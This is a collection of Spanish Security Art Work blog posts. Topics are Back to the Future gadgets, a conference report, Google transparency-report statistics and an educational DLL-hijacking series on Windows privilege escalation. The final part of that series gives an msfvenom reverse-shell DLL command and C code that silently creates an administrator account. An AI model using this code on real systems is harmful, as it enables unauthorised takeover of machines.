Una fecha que, según los guionistas de la segunda parte de la saga (1989) iba a mostrarnos un futuro pintoresco donde la tecnología llegaba a unos extremos nunca imaginados, donde las autopistas se trasladaban del asfalto al cielo de las ciudades y todo tenía un aspecto muy colorido y extravagante. Pero como a cada uno el tiempo lo va poniendo en su lugar, la saga del DeLorean no iba a ser menos y son muchísimos más los adelantos tecnológicos que no han cuajado que los que sí han llegado a formar parte de nuestra sociedad actual.

El Aeropatín era un monopatín del 2015 que conseguía algo soñado por todos nosotros, poder levitar sobre la calle, sin aparentemente ningún tipo de combustible. El único problema era que sobre el agua quedaba inmóvil, y hacía falta un modelo más avanzado ya con un dispositivo añadido.

Este aeropatín aparece fabricado por Mattel en la película y es esta marca de juguetes la que ha fabricado un modelo exacto al que usa Marty salvo por un pequeño detalle: no vuela.

Lexus también fabricó un intento de aeropatín. Aquí tenéis el vídeo de su promo.

Las deportivas Nike que usaba el protagonista de Regreso al Futuro eran bastante “ochenteras” a pesar de ser algo perteneciente al 2015. Eran bastante extravagantes con luces azules en el logo y tenían la particularidad que se autoajustaban sin atarse los cordones.

Nike ha sacado ya una réplica de estas deportivas en una edición limitada que era exacta salvo que tenías que seguir poniéndote los cordones a mano. Pero desde la empresa deportiva nos dicen que antes de que acabe el año sacarán al mercado las auténticas con un circuito integrado en la base que hará dicha función. Esperaremos impacientes a su lanzamiento.

La Pepsi que aparece tanto en la primera como en la que nos toca, llamada Pepsi Perfect va a ser comercializada hoy mismo en Estados Unidos. Saldrán unas 6.500 unidades en una edición limitada al precio de unos 20$.

La Videollamada es algo que sí ha pasado a formar parte de nuestro presente y que Regreso al Futuro vaticinó. Hoy prácticamente todos usamos Skype para hablar desde cualquier dispositivo, incluyendo televisiones planas de gran resolución.

Pero a pesar de estos esfuerzos y al mismo tiempo promociones que realizan estas conocidas marcas que continúan vigentes en la actualidad, es más lo que no ha cuajado que lo que sí.

Sí que existen cazadoras autoajustables, pero no tienen ninguna opción de autosecado, así que procura no mojarte demasiado. Los automóviles siguen usando el mismo sistema de combustible y el mismo tipo de vía que hace 30 años, los monopatines continúan yendo sobre ruedas, los microondas como mucho te chamuscan la pizza en vez de hidratarla, y los faxes actualmente ya no son usados por prácticamente nadie.

Y eso de las dobles corbatas… ponte unas, quién sabe, lo mismo creas tendencia y homenajeas tu saga favorita al mismo tiempo.

Una fantasía que hoy pasa del futuro al presente y que mañana formará parte de nuestro pasado, pero los que vivimos esa gran saga en su día siempre soñaremos que ese será nuestro futuro.

La entrada El futuro ya está aquí aparece primero en Security Art Work.

En este post vamos a cubrir qué es el DLL hijacking y cómo podemos identificar posibles aplicaciones vulnerables, con el fin de realizar un ataque de escalada de privilegios.

Los conceptos básicos son simples: cuando una aplicación carga dinámicamente una DLL sin especificar un nombre de ruta de acceso completa o ha sido compilada por los desarrolladores con una DLL que ya no está en esa carpeta, Windows intenta localizar las DLLs siguiendo una estructura de carpetas predefinidas en un orden predeterminado, que es el siguiente:

1. Directorio desde donde se inicializa la aplicación
2. Directorio (C:\Windows\System32)
3. Directorio (C:\Windows\SysWOW64)
4. Directorio de Windows (C:\Windows)
5. El directorio de trabajo actual (CWD)
6. Directorios en la variable de entorno PATH (sistema, luego usuario)

Si un atacante gana el control de uno de los directorios de las rutas de búsqueda de DLLs, como hicimos en el post anterior aprovechando la vulnerabilidad MS15-078, puede añadir una DLL maliciosa en una carpeta superior a la carpeta de donde las carga habitualmente.

Por ejemplo, imaginemos que tenemos una aplicación que no especifica las rutas completas: SecurityArtwork.exe, que se inicializa en ‘C:\Program Files\SAW\’ y carga una dll ‘blog.dll’ del directorio ‘C:\Windows\SysWOW64’. Si nosotros añadimos nuestra DLL maliciosa en ‘C:\Windows\System32’ cuando se ejecute la aplicación SecurityArtwork.exe cargará primero nuestra DLL debido que está una carpeta “por encima” de la carpeta en la que se encuentra la DLL legítima.

Nuestro objetivo es por tanto realizar DLL hijacking sobre algún servicio o aplicación que tenga privilegios de SYSTEM, para que John pueda conseguir esos privilegios que lleva deseando tanto tiempo. En nuestro caso, hemos identificado un servicio SUService.exe (IBM Notes Smart Upgrade Service) que se inicia con privilegios de SYSTEM.

Ilustración 1: Services.msc

Si vemos sus propiedades:

Ilustración 2: Propiedades del servicio

Con el fin de identificar qué DLLs carga y qué acciones realiza la aplicación, cambiaremos a nuestra cuenta de administrador para reiniciar el servicio y monitorizarlo.

Las herramientas que utilizaremos son las siguientes:

• Process Monitor.
• Process Explorer.

Lo primero que haremos será abrir Process Explorer para identificar qué DLLs son cargadas por el servicio.

Ilustración 3: Process Explorer

Lo segundo será abrir nuestro Process Monitor. Presionamos CTRL + L para modificar las reglas de filtrado y añadimos las que nos interesan.

• Process name is: SUService.exe -> #Nombre del servicio por el que queremos filtrar
• Operation is: CreateFile -> #Crea o abre archivos
• Result is: NAME NOT FOUND -> #Nos interesa que solo nos muestre los archivos que no ha encontrado

Ilustración 4: Procmon

En la siguiente ilustración, tras reiniciar el servicio SUService.exe desde services.msc, vemos que el ejecutable intenta cargar varias DLLs que no se encuentran desde la carpeta donde se ha inicializado (‘C:\Program Files (x86)\IBM\Notes\’). Entre esas DLLs que no encuentra hay una llamada UXTHEME.dll, que como imagináis es la que utilizaremos para realizar nuestro ataque de DLL hijacking.

Ilustración 5: UXTHEME.dll

En el siguiente post veremos cómo aprovechar estas dos vulnerabilidades juntas para obtener privilegios de SYSTEM desde un usuario no privilegiado.

La entrada Aprovechando la vulnerabilidad MS15-078 + DLL Hijacking (II) aparece primero en Security Art Work.

(Este post ha sido elaborado por integrantes del grupo ENIGMA, el proyecto formativo de S2 Grupo en materia de ciberseguridad. Está integrado por alumnos de último año de carrera o recién licenciados a los cuales se les facilita una beca remunerada que consiste en asistir a un curso de formación presencial impartido en S2 Grupo. Gracias Joan, Jesús, Alberto, Pablo, Vizu, Pedro, Enrique, Asier y Jose G.)

Introducción

Los días 1, 2 y 3 de octubre tuvo lugar en Albacete la 5ª edición de la Convención Navaja Negra, que congregó a unos 650 asistentes entre los que se encontraban tanto expertos como aficionados, estudiantes y profesionales, todos ellos con un denominador común, su pasión por la seguridad informática.

En palabras de cr0hn y s4ur0n, dos de los organizadores y creadores del evento, la idea surgió entre cervezas, como un grupo de gente que se juntaba por su interés común y poco a poco, siguiendo sus principios de humildad, compartir y aprender, fue creciendo hasta convertirse en lo que es hoy. Este año, movidos por esos mismos principios, se unió también la gente de ConectaCon haciendo de este un evento mucho más grande.

Los integrantes de Enigma, junto con otros compañeros de S2 Grupo, nos desplazamos allí este año para empaparnos de la experiencia y compartirla con vosotros. Fueron tres días intensos de talleres, conferencias y sobretodo de ampliar horizontes aprendiendo y conociendo gente nueva.

(N.d.E. Cierto es que hace más de 15 días que la convención tuvo lugar, pero afortunadamente ni la informática en general ni la seguridad en particular avanzan tan rápido. Pueden obtener información de las ponencias de la web de la convención). 

Talleres

Las mañanas de los dos primeros días se ocuparon con talleres de temática variada entre los que pudimos asistir al de “Pentesting con Burp Suite like a Ninja” de la mano de Daniel Martínez (Dan1t0), “Android desde 0 hasta crear nuestro propio malware” a cargo de María Isabel Rojo aka mirojo e “Introducción a la ingeniería inversa con radare2” con Sergi Álvarez (pancake).

Mención especial al taller “Abriendo el garaje del vecino con Arduino y routers”. En este taller, a cargo de David Meléndez y Óscar Tebas, pudimos aprender las bases de la programación de Arduino y el uso de sus módulos de radio de 433 Mhz para la intercepción de señales. A su vez, se nos mostró cómo modificando el hardware de routers de bajo coste se puede conseguir dispositivos accesibles por WiFi con funcionalidades personalizadas (sensor de temperatura por ejemplo) de forma muy económica.

Un punto a favor de la organización es que todo el material se proporcionó in situ y nos volvimos a casa con el hardware empleado.

-= Primer día: jueves =-

Un gran hermano a golpe de click

Navaja Negra dio comienzo con esta primera charla, en la que Féliz Brezo y Yaiza Rubio de Telefónica nos presentaron OSRFramework, una suite de herramientas desarrolladas en Python capaz de encontrar datos personales de un usuario, realizando búsquedas en redes sociales y en fuentes públicamente disponibles en Internet. Nos mostraron las funcionalidades de las distintas herramientas de la suite: recopilar datos de un usuario concreto, correos electrónicos, números de teléfonos asociados a listas de SPAM, etc.

Sé lo que hicisteis el último verano

En la siguiente charla, Deepak Daswani comenzó hablándonos de algo que está muy de moda últimamente: Human Intelligence, presentándonos una herramienta OSINT (Open Source Intelligence) capaz de obtener información de personas a través de lo que éstas publican en WhatsApp: WhatsApp Discover.

Mediante el análisis de tráfico de esta aplicación se puede extraer información sobre un dispositivo: modelo, versión del sistema operativo, dirección IP y número de teléfono. A partir de ahí, podemos trazar el perfil de una persona a través de su estado, foto del perfil, localizar a esa persona en redes sociales y obtener aún más información.

Destroying Router Security

José Antonio Rodríguez, Iván Sanz y Álvaro Folgado nos enseñaron el proyecto en el que han estado trabajando últimamente: un análisis de la seguridad de los routers SOHO utilizados en la mayoría de los hogares en España.

Mediante vídeos nos mostraron varias vulnerabilidades descubiertas, la facilidad de realizar un bypass de la autenticación, entrar con cuentas de administración ocultas al usuario e incluso la posibilidad de acceder al directorio raíz del propio router.

Como conclusión, compartieron sus estadísticas que mostraban cómo la mayoría de los fabricantes hacían caso omiso ante las vulnerabilidades reportadas.

Looking for vulnerable functions

Después del Coffee-Break, asistimos a la charla patrocinada por Telefónica España, en la que Pablo San Emeterio nos expuso un procedimiento para detectar la utilización de funciones no seguras sin necesidad de disponer del código fuente.

Rompiendo SSL con ataques de sincronización de tiempo

Ahora llegaba el turno de la charla de José Selvi (@JoseSelvi), quien nos explicó lo simple que resulta saltarse las protecciones de SSL y hacer uso de certificados que hayan caducado con tan solo retroceder el reloj del sistema.

Para ello se valió de una vulnerabilidad de sincronización de la hora (NTP), que avanzando el reloj del sistema permitía vulnerar el protocolo HTTPS. El script empleado, Delorean, se dio a conocer previamente en el afamado congreso DEFCON realizado en las Vegas, EEUU. A nosotros nos resultó de lo más interesante.

Old Dog New Tricks

Para cerrar el primer día de conferencias entró en escena Marc Van Heuse, quien compartió con nosotros su experiencia, desde el punto de vista de alguien que lleva en el mundillo desde que se llevaban las “cajas azules” y cómo esta se ha ido adaptando a los cambios de este convulso campo.

Se centró en mostrarnos sus investigaciones sobre IPv6, sus vulnerabilidades y lo importante que es que nos adaptemos al uso de este nuevo protocolo.

Espacio nocturno

Tras las charlas, los asistentes al congreso nos reunimos en uno de los salones del Hotel Universidad, donde pudimos disfrutar de un ambiente distendido en el que hacer networking , continuar con el reto del Capture The Flag y sobretodo conocer a la gente en compañía de una cerveza.

-= Segundo día: viernes =-

(in)Secure booting Linux

Ángel Suárez inauguró el segundo día de conferencias con una charla en la que hizo una introducción al proceso de arranque de Linux, las partes que lo componen y la manera de poder ejecutar código arbitrario en dicho proceso.

Un punto interesante de la charla fue la realización de una demo en que se demostraba el problema desde el punto de vista del atacante en algunos escenarios y cómo ejecutar código en tiempo de arranque, antes de que se ejecute el kernel.

En este vídeo podemos ver la demostración realizada durante la charla.

Scapy: crear un Frankenstein de red y hacerlo pasar por el príncipe azul

Esta charla nos la ofreció Daniel García (cr0hn), uno de los organizadores de Navaja Negra, que habló de una herramienta desarrollada en Python (Scapy) que permite trabajar a bajo nivel y con ello poder simular una pila de protocolos de cualquier tipo y sus distintas funciones para simular sistemas de red (hablamos de ello en SAW también hace un tiempo: Auditando la pila TCP con Scapy).

También explicó cómo utilizar esta técnica para ataques de hacking. A su vez, tuvo el detalle, de cara a aquellos que no eran expertos en redes, de hacer una breve introducción de conceptos para que todos los asistentes pudiéramos seguir la charla.

¿Tienes 30 euros? Escucha tu ciudad y la podrás hackear

En esta charla, Carlos García nos enseñó que con una pequeña inversión (30 euros según el título) podemos divertirnos con nuestra ciudad. Hackear señales de garajes, semáforos móviles, escuchar radios, trazar la localización de aviones…

Una infinidad de posibilidades que se abren con tan solo adquirir un SDR low cost. La parte más interesante a nivel de estudio es la posibilidad de descifrar una emisión TETRA (previo permiso de las autoridades pertinentes).

Como anécdota divertida, en una demostración en directo a petición del público, un grupo de radioaficionados consiguió dibujar un Awesome Face en el espectrograma. En conclusión, una charla que consiguió despertar en muchos el “gusanillo” de la radio.

Virtually Devirtualized (Prácticamente Desvirtualizado)

En esta presentación, Sergio Llata (thEpOpE) y Abel Valero (SkUaTeR) nos presentaron en primer lugar la herramienta Radare2, sin profundizar demasiado, y explicaron el concepto de código virtualizado.

A continuación expusieron un caso de un Capture The Flag orientado al reversing. Un How To paso a paso hasta dar con la solución. Estos maestros del reversing no se quedaron ahí, sino que prosiguieron con el proceso hasta “desnudar” completamente el código objetivo.

Esta charla, a pesar de su alto nivel, fue una puesta en escena ejemplar del mundo del reversing, despertando en algunos la curiosidad por esta materia.

SQLmap – why (not how) it works?

Para terminar las conferencias del segundo día, tuvimos al gran Miroslav Stampar (@stamparm), uno de los creadores de SQLmap, quien nos habló de la historia de la herramienta, concebida como programa para pentesters realizado en Python.

Nos describió el proceso de negocio, las versiones de SQLmap desde sus inicios hasta la actualidad, las donaciones que ha recibido el proyecto y cómo gente que, a pesar de tratarse un proyecto Open Source, se posicionaba en contra del programa.

Gran subasta de ‘Hackers’

Tras terminar las charlas del segundo día y en un ambiente muy distendido, se realizó una ¡subasta de hackers! En este evento se permitía el lujo de adquirir 30 minutos del hacker que deseáramos para disponer de él para lo que quisiéramos: Contar chistes, tomar unas cervezas, hablar de trenes… ¡Pero con la camiseta puesta!

Al principio la gente se mostraba tímida a la hora de pujar, pero al final se llegó a conseguir la increíble cifra de 90 euros por uno de los subastados. La recaudación íntegra se destinó a obras benéficas, por lo que además de una propuesta divertida, también tuvo una causa social.

Espacio nocturno

Durante este espacio de la segunda noche volvimos a congregarnos en los salones del Hotel Universidad donde se realizaron diversas charlas/talleres a cargo de gente como David Marugán, Lorenzo Martínez o Alex Casanova y su grupo de radioafición.

Se nos presentaron temas diversos que iban desde la seguridad en redes a la guerra radiofónica.

-= Tercer día: sábado =-

OPSEC: Amanece, que no es poco

Con esta charla de David Barroso (@lostinsecurity), un profesional de la seguridad, empezamos con el último día de Navaja Negra (para poder asistir nos costó madrugar después del espacio nocturno…).

Aquí dio unas pinceladas de cómo perfiles falsos en Twitter tienen miles de seguidores, y explicó contra quienes deberíamos protegernos frente a posibles ataques, ya sea EEUU u otra nación, bandas organizadas, lobos solitarios, empleados o simplemente curiosos; cómo se han llevado operaciones para capturar a terroristas analizando comportamientos irregulares de ciertos teléfonos.

Por último, nos dio una serie de recomendaciones a seguir para proteger nuestra privacidad.

Cyberbreachs

La segunda conferencia del día la ofrecía Arán Lora, quien destripó las inseguridades de un dispositivo UTM. La función de este tipo de dispositivos es la de actuar como gateway con cortafuegos que trabaja a nivel de capa de aplicación y capa humana o de identidad.

Mostró como disponiendo de uno de los modelos del dispositivo UTM analizado, JD-gui, WireShark, vi, grep y TeskDisk era capaz, entre otras cosas, de manipular los dispositivos accediendo como root o modificar el firmware, entre otros. Todo ello debido a errores en el desarrollo del software de la tecnología, como por ejemplo credenciales de acceso hardcodeadas en el código.

Fraude telefónico

Jose Luís Vergara (@pepeluxx) nos habló de phreaking, disciplina centrada en el estudio de las tecnologías de comunicaciones y los dispositivos de telefonía.

Comenzó hablando de la caja azul y de que no todo en el mundo del phreaking son cajas azules; pasó a adentrarse en los posibles objetivos de un atacante, entre quienes podemos encontrar desde curiosos con ganas de aprender, hasta delincuentes con la intención de lucrarse, denegar servicios e incluso realizar escuchas ilegales.

Comentó algunos casos reales de acceso a centralitas VoIP para cometer fraude, seguidamente explicó el funcionamiento de un sistema VoIP y se centró en una centralita PBX. Para finalizar, el ponente realizó una llamada a través de un servicio VoIP utilizando la agenda telefónica del congreso (N.d.T.: no del Congreso), sonando el teléfono de uno de los asistentes.

Un jarro con apps de Android: eCrime & Hacking

Y llegó el turno del maligno, Chema Alonso (@chemaalonso), que nos enseñó cómo se podían combinar técnicas como el Big Data, Cloud Computing y OSINT en una sola herramienta llamada Tacyt, que se encarga de almacenar y analizar miles y miles de aplicaciones Android.

Nos habló de sus características y las curiosidades que uno se puede encontrar analizando simplemente el código de las aplicaciones: desde credenciales hardcodeadas, hasta la posibilidad de realizar inyecciones SQL. Por último, mediante una serie de ejemplos, nos demostró lo fácil que resulta encontrar ese tipo de fallos utilizando técnicas de dorking en la propia herramienta. Una pena que no sea accesible para todos.

CTF

El último día, como acto previo a la clausura de la conferencia, se hizo entrega de los premios del Capture The Flag. Para quien no sepa en qué consiste, se trata de un concurso de conocimientos y habilidades en el ámbito de la seguridad. Las pruebas eran de distinta índole, yendo desde responder correctamente a la definición de phishing, hasta el caso de aplicar un 0-day de un algoritmo de cifrado (sí, a alguien le pareció una prueba factible).
Todo este evento fue posible gracias a la ayuda de los compañeros de Facebook, que montaron una plataforma específica para este fin. Como curiosidad, el ganador fue capaz de realizar todo el trabajo en tan solo ¡una noche!
También dieron la solución al easter egg que habían preparado: en las cabeceras de la página web encontrábamos un enlace en base64 y tras un largo ;) proceso y un poco de ingenio nos encontrábamos con la imagen de un miembro ;) de la organización, que había que imprimir y colorear a modo de prueba de la hazaña.

También se premió a quien lograra descifrar el código QR que teníamos cada uno en nuestras tarjetas de identificación. El ganador, PE, fue el mismo que consiguió el CTF y no solo logró el suyo, sino el de ¡410 personas! Por desgracia no pudo reclamar las 410 tazas que tenía en mente, aunque suponemos que este hecho no le impedirá tomarse un café por las mañanas.

X1Red+Segura

En el mismo recinto universitario, paralelamente al congreso principal de seguridad Navaja Negra, se realizaron un conjunto de conferencias ofrecidas por algunos de los mejores expertos en seguridad de este país y usuarios de Internet y de las tecnologías en general.

Esta vez, pudimos ver en escena a Ángel Pablo (Angelucho), Josep Albors, Juan Antonio Calles y Longinos Recuero, que compartieron su experiencia y perspectiva para hacernos menos vulnerables, utilizando un tono comprensible para el público general y con la intención de ayudar a hacer de este un mundo más seguro.

Este ciclo de conferencias estuvo enmarcado dentro del proyecto X1Red+Segura, centrado en la concienciación en seguridad sin ánimo de lucro, con fines sociales, educativos y culturales. Si no tuvisteis la posibilidad de asistir, tienen un libro escrito (X1Red+Segura, informando y educando V.1.0: https://www.gdt.guardiacivil.es/webgdt/publicaciones/x1redmassegura/x1red+segura.pdf) para ser entendido por todo el mundo y que a los técnicos nos puede ayudar a obtener esa visión de mensaje ofrecido para ser entendido por todos los públicos.

Conclusión

Como conclusión, la Navaja Negra & ConectaCon de este año ha sido un éxito; las charlas tenían un buen nivel, perfecto para novatos pero que profundizan para no aburrir a los más expertos. El ambiente nocturno también fue un acierto, con más información y de una manera más relajada. Creemos que todos hemos salido con un TODO list similar a los de año nuevo.

Pero, sin duda, lo que más valoramos es la oportunidad que se nos ha ofrecido de conocer y contactar con otras personas del mundillo con las que poder compartir conocimientos.

La entrada Crónica Navaja Negra & ConectaCon 5º Edición (#nnc5ed) aparece primero en Security Art Work.

En la primera parte y segunda parte de esta serie de artículos vimos cómo aprovechar la vulnerabilidad MS15-078 para escribir en una ruta privilegiada y luego cómo identificar posibles aplicaciones y servicios vulnerables a DLL hijacking.

En este último post aprovecharemos estas dos vulnerabilidades juntas para obtener privilegios de SYSTEM a partir de un usuario sin privilegios de administrador.

Lo primero que haremos será crear una DLL maliciosa. Aquí tenemos dos opciones:

• Utilizar Msfvemon ( /msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=X.X.X.X LPORT=4444 > /tmp/uXtheme.dll ).
• Compilar nuestra propia DLL, para que añada un usuario administrador al equipo (o lo que queramos :D ) y cargue otra DLL maliciosa con un Meterpreter.

#include  
BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
    switch(dwReason)
    {
    case DLL_PROCESS_ATTACH:
        Sleep(1000);
        WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net users Brian ThisIsNotMyPassWD /add", SW_HIDE);
        WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net localgroup administrators Brian /add", SW_HIDE);
        HINSTANCE hInstLibrary = LoadLibrary("C:\\Users\\John\\Desktop\\WinLoad.dll");
        Sleep(30000);
    }
}

Si queréis algo más complejo el código que usa Metasploit para crear la DLL se puede obtener de aquí. Lo que hace es crear un proceso suspendido, escribe el shellcode y…

Con nuestra DLL ya creada procederemos a aprovechar la vulnerabilidad ms15-078 para escribir en una ruta privilegiada, como vimos en la primera entrada. En nuestro caso escribiremos en la carpeta de IBM (‘C:\Program Files (x86)\IBM\Notes\‘), donde identificamos que el servicio SUService.exe intenta cargar la DLL UXTheme y no la encuentra, tal y como vimos en el post anterior.

Ilustración 1: Copy DLL

Con nuestra DLL in place, todo el trabajo está ya hecho y lo único que tendremos que hacer es reiniciar el equipo o el servicio (en nuestro caso no tenemos privilegios). Una vez reiniciamos el equipo cuando Windows empieza a cargar todo de nuevo, podemos ver en nuestro listener cómo se nos abre una nueva sesión.

Ilustración 2: Sesión Metasploit

Interactuamos con la sesión y hacemos un net users y vemos cómo nuestro usuario administrador ‘Brian’ se ha creado correctamente.

Ilustración 3: Net users

Con lo que finalmente hemos conseguido nuestro objetivo de obtener privilegios de administrador local en el equipo de John. Espero os hayan gustado las entradas y como siempre, todo lo descrito se muestra con propósitos educativos y para señalar lo importante que es mantener los sistemas parcheados :)

La entrada Aprovechando la vulnerabilidad MS15-078 + DLL Hijacking (III) aparece primero en Security Art Work.

En  2010, Google lanzó una publicación periódica llamada “Informes de transparencia de Google” donde se hacía eco principalmente de las peticiones de retirada de contenido de sus servicios por parte de gobiernos y organizaciones. Con el paso del tiempo, estos informes  han evolucionado a una plataforma en la que se pueden consultar diferentes datos, tanto de las peticiones servidas por sus servicios como del uso que se hace de estos.

Al navegar por su web vemos que el apartado Navegación segura aporta datos poco útiles, o que los paneles Solicitud de información sobre usuarios o Retirada de contenido de gobiernos únicamente contienen datos estadísticos.

No obstante, al acceder al apartado de Solicitudes de propietarios de derechos de autor, impresiona ver que en un mes se ha solicitado la retirada de 50 millones de URLs por infracción de derechos de autor. ¡50 millones de peticiones al mes! Esto implica un gran esfuerzo humano, tanto para la solicitud de retirada como para su revisión.

Si tenemos en cuenta que según estos datos, 13 millones de peticiones han sido solicitadas por la misma organización, podemos hacernos una idea de hasta qué punto los derechos de autor son un tema candente en Internet y que, según el crecimiento de la gráfica, debe ser atajado de una forma más efectiva antes de que se convierta en inabordable.

El apartado de Encriptación del correo electrónico ha resultado todavía más interesante: contiene datos estadísticos sobre la seguridad (uso de cifrado TLS) de los correos que Gmail intercambia con otros servicios de correo. Estas estadísticas son relevantes ya que no todos los servidores aceptan el uso de TLS, o aunque lo permitan, no fuerzan a sus usuarios a utilizarlo por defecto. Veamos estas gráficas en profundidad:

Si nos fijamos en los datos de la izquierda, un 80% de los correos enviados desde Gmail van cifrados, mientras que solo el 57% de los que recibe lo están. Nos atrevemos a aventurar que esto se debe a que los correos de Gmail van cifrados por defecto (el 80%) y que el 20% restante va dirigido a servidores que no soportan TLS. Esto quiere decir que con la configuración actual de todos los servidores que intercambian correos con Gmail, aproximadamente el 80% de los correos enviados a Gmail podrían ser cifrados, pero solo lo hacen un 57% porque los usuarios no configuran sus clientes correctamente.

Alguien podrá pensar que se debe a que el SPAM recibido en Gmail rara vez irá por TLS, pero según la FAQ de la web, no se han tenido en cuenta correos marcados como SPAM. Si miramos ahora las gráficas, vemos algunos datos también interesantes que hemos marcado con las flechas amarillas:

En el último año, el porcentaje de correos enviados mediante TLS ha aumentado un 4%, lo cual seguramente estará motivado porque cada vez más servidores aceptan el uso de esta tecnología. No obstante, el porcentaje de correos recibidos con TLS se ha mantenido, lo que indica seguramente que, aunque los servidores se hayan actualizado para permitir TLS, los usuarios no son conscientes de ello y al configurar sus cuentas en clientes de escritorio, no marcan la opción de utilizar TLS.

En la parte inferior de la gráfica, llaman la atención los picos en la recepción de correos cifrados: si hacemos zoom, vemos que los picos coinciden con fines de semana:

¿Quiere decir esto que durante el fin de semana los usuarios son más sensibles con la seguridad de sus correos? Seguramente no. Tengamos en cuenta que la tabla mide el porcentaje de correos recibidos. Esto quiere decir que durante el fin de semana, el porcentaje de correos cifrados es mayor, seguramente porque muchas empresas no obligan a utilizar TLS en sus puestos de trabajo, a pesar de que sus servidores lo permiten (si no fuese así, la grafica superior también tendría esos picos).

Vamos con la explicación a la gran caída en el número de correos enviados con TLS  en octubre de 2014 (menos mal que saqué la captura hace un mes, ya que ahora se ha perdido en el histórico). El día 11 el uso de TLS empezó a caer en picado, llegando al punto más bajo el día 14 de octubre que, echando mano de Wikipedia, fue el día en que Google hizo pública la vulnerabilidad Poodle, la cual afectaba a SSL (alternativa vulnerable a TLS).

El hecho de que la caída en el numero de servidores que permitían recibir TLS fuese previa a la publicación de la vulnerabilidad, hace pensar que Google hizo algún tipo de aviso previo (o filtración) a algunos servicios de correo, por el cual algunos de estos desactivarían el cifrado en sus sistemas temiendo por sus claves privadas, y que una vez publicada la vulnerabilidad y ver que no afectaba directamente a TLS, lo volvieron a activar.

Esta información, como curiosidad, está bien pero ¿nos resulta útil? ¿Podríamos monitorizar automáticamente estas gráficas para detectar patrones extraños o movimientos sospechosos de los grandes servidores de mail de Internet? Cada uno que le dé al coco y saque sus propias ideas ;)

Pasemos a consultar los datos de la sección Tráfico de los productos de Google.

La sección nos recibe con un listado de los países desde los que ahora mismo existe algún impedimento para que los usuarios accedan libremente a los servicios de Google:

Teniendo en cuenta que los países actuales son la República del Congo, Tayikistán, China, Irán y Pakistán, podemos suponer que realmente estamos hablando de bloqueos por parte de gobiernos al libre acceso a Internet. En los detalles de cada caso, Google no siempre afirma que el tráfico está siendo bloqueado, ya que seguramente no habrán recibido noticias oficiales al respecto:

“The government of the Republic of the Congo has apparently cut access to the main internet service provider in the midst of widespread.. ”

“Pakistan blocked access to YouTube on Monday after the video sharing website failed to take down an anti-Islam film…”

“The main mobile telephone network in Iran was cut…popular Internet websites Facebook and YouTube also appeared to be blocked…”

“Starting last week, Google’s Picasa Web Album has been blocked in China, adding to an already long list of websites blocked…”

“Google Inc’s Gmail was blocked in China after months of disruptions to the world’s biggest email service …”

Incluyen además un contador de los días que lleva el servicio inaccesible, como si de una avería se tratase. A día de hoy, el record lo tiene el bloqueo de YouTube en China con 2404 días:

Cabe señalar que si navegamos por el histórico de cortes en los servicios de Google existen casos debidos a averías, como fue el que dejó a toda Australia sin las búsquedas del gigante:

Como curiosidad está sección está bien, pero la información realmente interesante aparece cuando pulsamos sobre Explorar. Este botón nos permite filtrar el uso de cada uno de los servicios de Google por país, con un nivel de detalle impresionante. Veamos algunos ejemplos:

Aquí podemos ver claramente como con la llegada de julio, las búsquedas en Google Maps en España aumentan considerablemente.

En esta gráfica se aprecia claramente cómo el uso del correo electrónico desciende a las horas de sueño, cómo el pico de tráfico se da los días laborables a las 12 del medio día, y como los fines de semana los españoles hacemos siesta y desciende el número de correos para volver a repuntar durante la tarde.

Si en la siguiente gráfica filtramos por el público estadounidense, vemos que esa fuerte caída a la hora de la siesta está menos acentuada, pero lo acusamos a que Estados Unidos es muy grande de costa a costa, y que mientras unos duermen, otros ya están enviando correos electrónicos:

En la siguiente imagen podemos ver claramente el momento en que Google News cerró en España,

… y si siguiéramos podríamos llenar posts y posts sobre la información que estas estadísticas nos dan.

Tenemos pues una fuente de información de los hábitos de los usuarios de servicios de Google, clasificados por zona geográfica, horarios, y servicios. Esta información puede ser utilizada para saber a qué hora puede ser más efectiva una campaña de phishing, qué países son más dependientes de qué servicios, o en qué momento un colapso de GoogleMaps puede ocasionar serias retenciones durante la operación salida veraniega, sin dejar de lado la búsqueda de patrones anómalos de lo que está sucediendo en Internet.

Cerraremos el post revisando el apartado de Solicitudes de privacidad. En este caso nos encontramos con las peticiones que Google recibe pidiendo la retirada de los resultados de búsqueda con información sobre personas.

En el siguiente gráfico se muestra, agrupado por países, el porcentaje de páginas web retiradas frente a las denegadas de los 4 países con más peticiones de retirada (entre 100.000 y 200.000 peticiones por país).

Revisando el resto de países, vemos que generalmente la media se mantiene entre el 25% y el 50%, pero si analizamos las respuestas que da Google a algunas de las peticiones, vemos que el criterio seguido es relativamente subjetivo:

“Una persona condenada por un delito grave en los últimos cinco años pero a la que se le revocó la condena nos pidió que retirásemos un artículo sobre el incidente. Hemos retirado la página de los resultados de búsqueda correspondientes a su nombre.”

“Un funcionario de alto rango nos pidió que retirásemos los artículos recientes en los que se habla de una condena penal de hace décadas. No hemos retirado los artículos de los resultados de búsqueda.”

“Un conocido empresario nos pidió que retirásemos los artículos sobre una demanda presentada contra un periódico. No hemos retirado los artículos de los resultados de búsqueda.”

“Un cura condenado por posesión de pornografía infantil nos pidió que retirásemos los artículos en los que se informa de su sentencia y expulsión de la iglesia. No hemos retirado las páginas de los resultados de búsqueda.”

“Una pareja acusada de fraude empresarial nos pidió que retirásemos los artículos relacionados con el delito. No hemos retirado las páginas de los resultados de búsqueda.”

“Un activista político que fue apuñalado en una protesta nos pidió que retirásemos un enlace a un artículo relacionado con el suceso. Hemos retirado la página de los resultados de búsqueda correspondientes al nombre de la víctima.”

“Un profesor condenado por un delito menor hace más de 10 años nos pidió que retirásemos un artículo relacionado con la condena. Hemos retirado las páginas de los resultados de búsqueda correspondientes a su nombre.”

“La víctima de una violación nos solicitó que retirásemos un enlace que llevaba a un artículo de periódico sobre dicho delito. Hemos retirado la página de los resultados de búsqueda correspondientes a su nombre.”

“Hemos recibido varias solicitudes de una sola persona que nos pide que retiremos 20 enlaces que llevan a artículos recientes sobre su arresto por los delitos financieros que cometió en el desarrollo de su profesión. No hemos retirado las páginas de los resultados de búsqueda.”

